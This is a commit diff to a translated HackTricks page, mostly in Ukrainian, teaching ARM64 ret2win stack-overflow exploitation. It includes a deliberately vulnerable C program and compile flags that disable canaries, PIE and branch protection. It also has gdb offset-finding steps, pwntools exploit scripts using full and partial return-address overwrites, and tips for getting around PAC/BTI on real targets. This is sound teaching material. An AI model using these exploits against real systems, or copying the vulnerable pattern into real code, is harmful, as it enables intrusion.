mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6
This commit is contained in:
parent
9e2107adf6
commit
70e9e48e06
@ -2,14 +2,14 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Знайдіть вступ до arm64 в:
|
Вступ до arm64 можна знайти в:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Code
|
## Код
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
@ -28,17 +28,29 @@ vulnerable_function();
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Скомпілювати без pie та canary:
|
Скомпілюйте без pie та canary:
|
||||||
```bash
|
```bash
|
||||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
|
||||||
```
|
```
|
||||||
## Знаходження зсуву
|
- Додатковий прапорець `-mbranch-protection=none` вимикає AArch64 Branch Protection (PAC/BTI). Якщо ваш toolchain за замовчуванням вмикає PAC або BTI, це забезпечує відтворюваність лабораторії. Щоб перевірити, чи скомпільований бінар використовує PAC/BTI, ви можете:
|
||||||
|
- Шукати AArch64 GNU properties:
|
||||||
|
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
|
||||||
|
- Переглянути прологі/епілогі на наявність `paciasp`/`autiasp` (PAC) або посадочних ділянок `bti c` (BTI):
|
||||||
|
- `objdump -d ret2win | head -n 40`
|
||||||
|
|
||||||
### Варіант патерну
|
### Короткі факти про AArch64 calling convention
|
||||||
|
|
||||||
Цей приклад був створений за допомогою [**GEF**](https://github.com/bata24/gef):
|
- Регістр зв'язку — `x30` (також `lr`), і функції зазвичай зберігають `x29`/`x30` за допомогою `stp x29, x30, [sp, #-16]!` та відновлюють їх через `ldp x29, x30, [sp], #16; ret`.
|
||||||
|
- Це означає, що збережена адреса повернення знаходиться за `sp+8` відносно бази фрейму. Якщо `char buffer[64]` розташований нижче, звичайна відстань перезапису до збереженого `x30` становить 64 (buffer) + 8 (збережений x29) = 72 байти — саме це ми знайдемо нижче.
|
||||||
|
- Вказівник стеку має залишатися вирівняним по 16 байтах на межах функцій. Якщо ви пізніше будете будувати ROP chains для складніших сценаріїв, зберігайте вирівнювання SP, інакше можна отримати крах під час епілогів функцій.
|
||||||
|
|
||||||
Запустіть gdb з gef, створіть патерн і використайте його:
|
## Знаходження офсету
|
||||||
|
|
||||||
|
### Варіант pattern
|
||||||
|
|
||||||
|
Цей приклад створено з використанням [**GEF**](https://github.com/bata24/gef):
|
||||||
|
|
||||||
|
Запустіть gdb з gef, створіть pattern та використайте його:
|
||||||
```bash
|
```bash
|
||||||
gdb -q ./ret2win
|
gdb -q ./ret2win
|
||||||
pattern create 200
|
pattern create 200
|
||||||
@ -46,17 +58,17 @@ run
|
|||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
arm64 спробує повернутися за адресою в регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти зсув шаблону:
|
arm64 спробує повернутися до адреси у регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти pattern offset:
|
||||||
```bash
|
```bash
|
||||||
pattern search $x30
|
pattern search $x30
|
||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Зсув становить 72 (9x48).**
|
**Значення offset — 72 (9x48).**
|
||||||
|
|
||||||
### Опція зсуву стеку
|
### Stack offset option
|
||||||
|
|
||||||
Почніть з отримання адреси стеку, де зберігається регістр pc:
|
Почніть з отримання адреси stack, де зберігається pc register:
|
||||||
```bash
|
```bash
|
||||||
gdb -q ./ret2win
|
gdb -q ./ret2win
|
||||||
b *vulnerable_function + 0xc
|
b *vulnerable_function + 0xc
|
||||||
@ -65,7 +77,7 @@ info frame
|
|||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Тепер встановіть точку зупинки після `read()` і продовжте, поки `read()` не буде виконано, і встановіть шаблон, наприклад, 13371337:
|
Тепер встановіть breakpoint після `read()`, продовжте виконання (continue) до виклику `read()` і встановіть шаблон, наприклад 13371337:
|
||||||
```
|
```
|
||||||
b *vulnerable_function+28
|
b *vulnerable_function+28
|
||||||
c
|
c
|
||||||
@ -80,9 +92,9 @@ c
|
|||||||
|
|
||||||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## No PIE
|
## Без PIE
|
||||||
|
|
||||||
### Regular
|
### Звичайний
|
||||||
|
|
||||||
Отримайте адресу функції **`win`**:
|
Отримайте адресу функції **`win`**:
|
||||||
```bash
|
```bash
|
||||||
@ -90,13 +102,15 @@ objdump -d ret2win | grep win
|
|||||||
ret2win: file format elf64-littleaarch64
|
ret2win: file format elf64-littleaarch64
|
||||||
00000000004006c4 <win>:
|
00000000004006c4 <win>:
|
||||||
```
|
```
|
||||||
Експлуатація:
|
Exploit:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
# Configuration
|
# Configuration
|
||||||
binary_name = './ret2win'
|
binary_name = './ret2win'
|
||||||
p = process(binary_name)
|
p = process(binary_name)
|
||||||
|
# Optional but nice for AArch64
|
||||||
|
context.arch = 'aarch64'
|
||||||
|
|
||||||
# Prepare the payload
|
# Prepare the payload
|
||||||
offset = 72
|
offset = 72
|
||||||
@ -114,7 +128,7 @@ p.close()
|
|||||||
|
|
||||||
### Off-by-1
|
### Off-by-1
|
||||||
|
|
||||||
Насправді це буде більше схоже на off-by-2 у збереженому PC в стеку. Замість того, щоб перезаписувати всю адресу повернення, ми перезапишемо **тільки останні 2 байти** значенням `0x06c4`.
|
Насправді це буде скоріше off-by-2 у збереженому PC у stack. Замість того, щоб перезаписати всю return address, ми перезапишемо **лише останні 2 байти** значення `0x06c4`.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -136,7 +150,7 @@ p.close()
|
|||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ви можете знайти ще один приклад off-by-one в ARM64 за посиланням [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), який є справжнім off-by-**one** у вигаданій вразливості.
|
Ви можете знайти ще один приклад off-by-one для ARM64 за адресою [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), який є реальним off-by-**one** у вигаданій вразливості.
|
||||||
|
|
||||||
## З PIE
|
## З PIE
|
||||||
|
|
||||||
@ -145,7 +159,7 @@ p.close()
|
|||||||
|
|
||||||
### Off-by-2
|
### Off-by-2
|
||||||
|
|
||||||
Без leak ми не знаємо точну адресу виграшної функції, але можемо знати зсув функції від бінарного файлу, і знаючи, що адреса повернення, яку ми перезаписуємо, вже вказує на близьку адресу, можливо витягти зсув до виграшної функції (**0x7d4**) у цьому випадку і просто використати цей зсув:
|
Без leak ми не знаємо точної адреси win function, але можемо знати offset функції від binary і, знаючи, що return address, який ми перезаписуємо, вже вказує на близьку адресу, у цьому випадку можливо leak офсет до win function (**0x7d4**) і просто використати цей offset:
|
||||||
|
|
||||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
```python
|
```python
|
||||||
@ -167,4 +181,45 @@ p.send(payload)
|
|||||||
print(p.recvline())
|
print(p.recvline())
|
||||||
p.close()
|
p.close()
|
||||||
```
|
```
|
||||||
|
### Примітки щодо сучасного зміцнення AArch64 (PAC/BTI) та ret2win
|
||||||
|
|
||||||
|
- Якщо бінарник скомпільовано з AArch64 Branch Protection, ви можете побачити `paciasp`/`autiasp` або `bti c`, які вставляються в прологах/епілогах функцій. У такому випадку:
|
||||||
|
- Повернення за адресою, що не є дійсним BTI landing pad, може викликати `SIGILL`. Краще орієнтуватися на точний початок функції, що містить `bti c`.
|
||||||
|
- Якщо PAC увімкнено для повернень, наївне перезаписування адреси повернення може не спрацювати, бо епілог автентифікує `x30`. Для навчальних сценаріїв перебудуйте з `-mbranch-protection=none` (вказано вище). При атаках на реальні цілі віддавайте перевагу non‑return hijacks (e.g., function pointer overwrites) або створюйте ROP, який ніколи не виконує пару `autiasp`/`ret`, що автентифікує ваш підроблений LR.
|
||||||
|
- Щоб швидко перевірити можливості:
|
||||||
|
- `readelf --notes -W ./ret2win` і шукайте примітки `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
|
||||||
|
- `objdump -d ./ret2win | head -n 40` і дивіться на `bti c`, `paciasp`, `autiasp`.
|
||||||
|
|
||||||
|
### Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||||
|
|
||||||
|
If you are on x86_64 but want to practice AArch64:
|
||||||
|
```bash
|
||||||
|
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
|
||||||
|
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
|
||||||
|
|
||||||
|
# Run the binary with the AArch64 loader environment
|
||||||
|
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
|
||||||
|
|
||||||
|
# Debug with GDB (qemu-user gdbstub)
|
||||||
|
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
|
||||||
|
# In another terminal
|
||||||
|
gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||||
|
```
|
||||||
|
### Пов'язані сторінки HackTricks
|
||||||
|
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||||
|
{{#endref}}
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Джерела
|
||||||
|
|
||||||
|
- Увімкнення PAC і BTI на AArch64 для Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
|
||||||
|
- Стандарт виклику процедур для 64-розрядної архітектури Arm (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user